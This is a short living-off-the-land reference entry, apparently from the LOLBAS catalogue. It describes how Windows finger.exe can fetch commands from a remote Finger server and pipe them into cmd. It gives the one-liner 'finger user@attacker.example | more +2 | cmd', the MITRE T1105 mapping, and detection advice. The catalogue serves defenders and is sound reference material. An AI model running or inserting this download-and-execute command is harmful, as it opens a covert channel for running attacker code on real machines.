finger.exe

The built-in Finger client retrieves data from a remote Finger (TCP/79) server; piping the server's response through more and into cmd turns the response into executed commands, giving a combined download-and-execute (and C2) channel over an unusual port with a signed binary.

Use Retrieve and run attacker-supplied commands/payload over the rarely-monitored finger protocol.

finger user@attacker.example | more +2 | cmd

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Download

MITRE

T1105

Detection

Detection: finger.exe making outbound TCP/79 connections to external hosts; finger.exe piped into cmd.exe/powershell.exe/more; any use of finger.exe at all, which is rare in modern environments.

Verified

✓ LOLBAS Finger.yml quotes `finger user@example.host.com | more +2 | cmd` verbatim (T1105, Download); exact match.

Refs

github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Finger.yml

attack.mitre.org/techniques/T1105/